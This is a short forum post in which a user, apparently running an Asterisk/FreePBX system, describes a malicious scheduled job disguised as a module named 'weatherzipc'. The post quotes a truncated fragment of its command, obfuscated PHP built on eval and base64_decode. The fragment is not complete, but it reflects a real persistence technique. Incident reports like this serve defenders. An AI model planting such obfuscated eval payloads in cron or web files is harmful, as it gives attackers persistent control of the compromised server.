Unfortunatelly, I’ve deleted it.
Now is only this present:
| module_admin | UPDATES | 22 | 24 | 1473947822 | /var/lib/asterisk/bin/module_admin listonline > /dev/null 2>&1 |
I can write only what I can remember regarding the malicios content (I’ve saved only command field)
module = weatherzipc
id = sorry, can’t remember, but was something other that UPDATES.
time = 23
freq = 24
lasstime = long int
command = echo "<?php /JfoSi6eVHKGcogRc9pto08V5n/eval(/36RWBAbZtt5IpNs5ZQmR3vgxTgF/base64_decode/*m2vq9nmKXyKr2P9rDBxDs …
I’ve Base64 decoded contents of command and posted in my last post (I’ve only deleted obfuscating comments and my IP address).